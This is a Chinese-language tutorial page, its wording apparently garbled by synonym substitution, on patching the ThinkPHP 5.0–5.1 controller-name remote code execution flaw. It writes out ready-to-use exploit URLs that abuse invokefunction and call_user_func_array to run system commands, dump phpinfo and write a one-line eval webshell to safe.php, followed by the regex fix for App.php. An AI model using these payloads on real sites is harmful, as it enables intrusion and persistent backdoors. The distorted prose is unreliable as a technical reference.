旗下导航:搜·么
当前位置:网站首页 > PHP框架 > ThinkPHP > 正文

thinkphp破绽怎样修复【ThinkPHP教程】

作者:搜搜PHP网发布时间:2019-11-28分类:ThinkPHP浏览:91


导读:THINKPHP破绽修复,官方于近日,对现有的thinkphp5.0到5.1一切版本举行了升级,以及补丁更新,此次更新主如果举行了一些破绽修复,最严峻的就是之前存在的SQL注入...

THINKPHP破绽修复,官方于近日,对现有的thinkphp5.0到5.1一切版本举行了升级,以及补丁更新,此次更新主如果举行了一些破绽修复,最严峻的就是之前存在的SQL注入破绽,以及长途代码实行查询体系的破绽都举行了修复,官方本认为没有题目了,然则在现实的平安检测当中发明,照样存在题目,照样能够长途代码举行注入,插进去不法字符,提交到服务器后端中去。

关于此次发明的oday破绽,我们来看下是怎样的,更新的顺序文件途径是library文件夹下的think目次里的app.php,以下图:

破绽发生的缘由就在于这个控制器这里,全部thinkphp框架里的功能对控制器没有举行严厉的平安过滤于搜检,使进击者能够捏造歹意参数举行强迫插进去,最基础的缘由就是正则的表达式写的不好,致使能够绕过。

在controller猎取控制器后,直接举行赋值,然则并没有对控制器的名举行严厉的检测,致使能够运用斜杠等特殊符号来长途代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos体系,搭建好的测试环境地点是http://127.0.01/anquan ,我们能够直接在index.php背面捏造进击参数,示例以下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get体式格局提交到网站中去,能够直接查询到网站当前根目次的一切文件,截图以下:

经由过程该破绽也能够直接长途代码注入实行phpinfo语句,查询当前的php版本,途径,扩大,以及php.ini寄存的地点,都能够看得到,组织以下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人可能会问了,既然都能够phpinfo,查询目次文件,可不能够getshell写网站木马文件到网站里呢? 答案是能够的,我们测试的时刻是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php

关于此次thinkphp的破绽应用以及剖析到此就完毕了,该破绽属于高危破绽,伤害严峻性较大,许多升级更新补丁的网站都邑遭到进击,以至有些网站会被挂马,那末该怎样修复thinkphp的破绽呢?

替代之前的正划定规矩表达式即可,还需要对网站的目次举行权限布置,防备生成php文件,对网站上的破绽举行修复,或者是对网站平安防护参数举行从新设置,使他相符当时的网站环境。

针对于这个状况,我们要对其library/think/App.php代码里的正划定规矩表达式举行变动

if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

本文来自ThinkPHP框架技术文章栏目:http://www.ki4.cn/phpkj/thinkphp/

以上就是thinkphp破绽怎样修复的细致内容,更多请关注ki4网别的相干文章!

标签:thinkphp